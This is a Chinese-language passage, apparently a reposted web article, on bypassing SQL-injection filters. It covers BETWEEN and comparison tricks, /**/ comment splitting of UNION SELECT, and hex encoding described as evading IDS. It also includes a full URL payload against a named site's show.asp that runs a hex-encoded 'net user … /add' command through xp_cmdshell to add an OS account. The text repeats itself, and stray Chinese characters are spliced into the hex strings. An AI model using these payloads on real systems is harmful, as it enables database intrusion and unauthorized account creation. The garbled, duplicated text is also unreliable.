突破防注入的实验
words')
8、通过BETWEEN绕过
如or'swords'BETWEEN'rw'AND'tw'
9、通过>或者<绕过
or'swords'>'sw'
or'swords'<'tw'
or1<3
......
10、运用注释语句绕过
用/**/代替空格,如:UNION/**/Select/**/user,pwd,fromtbluser
用/**/分割敏感词,如:U/**/NION/**/SE/**/LECT/**/user,pwdfromtbluser
11、用HEX绕过,一般的IDS都无法检测出来
0x730079007300治理发愣功064006D0069006E00=hex(sysadmin)
0x640062005F006F0077006E0065007200=hex(db_owner)
另外,关于通用点的过滤方法,我们可以考虑采用赋值的方法,例如先声明一个变量a,然后把我们的指令赋值给a,然后调用变量a最终执行我们输入的命令。
变量a可以是任何命令。如下:
declare@asysname
select@a=
execmaster.dbo.xp_cmdshell@a
效果:http://www.ilikeplmm.com/show.asp?id=1;declare%20@a%20sysname
%20select
%20@a=0x6e0065007400200075007300650072002000治理发愣功06e00670065006c0020007000治理发愣功07300730020002f00治理发愣功064006400%20exec
%20master.dbo.xp_cmdshell%20@a;--
其中的
0x6e0065007400200075007300650072002000治理发愣功06e00670065006c0020007000治理发愣功07300730020002f00治理发愣功064006400
就是"netuserangelpass/add"的意思。
《突破防注入的实验(第2页)》
本文链接地址:http://www.oyaya.net/fanwen/view/141415.html
8、通过BETWEEN绕过
如or'swords'BETWEEN'rw'AND'tw'
9、通过>或者<绕过
or'swords'>'sw'
or'swords'<'tw'
or1<3
......
10、运用注释语句绕过
用/**/代替空格,如:UNION/**/Select/**/user,pwd,fromtbluser
用/**/分割敏感词,如:U/**/NION/**/SE/**/LECT/**/user,pwdfromtbluser
11、用HEX绕过,一般的IDS都无法检测出来
0x730079007300治理发愣功064006D0069006E00=hex(sysadmin)
0x640062005F006F0077006E0065007200=hex(db_owner)
另外,关于通用点的过滤方法,我们可以考虑采用赋值的方法,例如先声明一个变量a,然后把我们的指令赋值给a,然后调用变量a最终执行我们输入的命令。
变量a可以是任何命令。如下:
declare@asysname
select@a=
execmaster.dbo.xp_cmdshell@a
效果:http://www.ilikeplmm.com/show.asp?id=1;declare%20@a%20sysname
%20select
%20@a=0x6e0065007400200075007300650072002000治理发愣功06e00670065006c0020007000治理发愣功07300730020002f00治理发愣功064006400%20exec
%20master.dbo.xp_cmdshell%20@a;--
其中的
0x6e0065007400200075007300650072002000治理发愣功06e00670065006c0020007000治理发愣功07300730020002f00治理发愣功064006400
就是"netuserangelpass/add"的意思。
《突破防注入的实验(第2页)》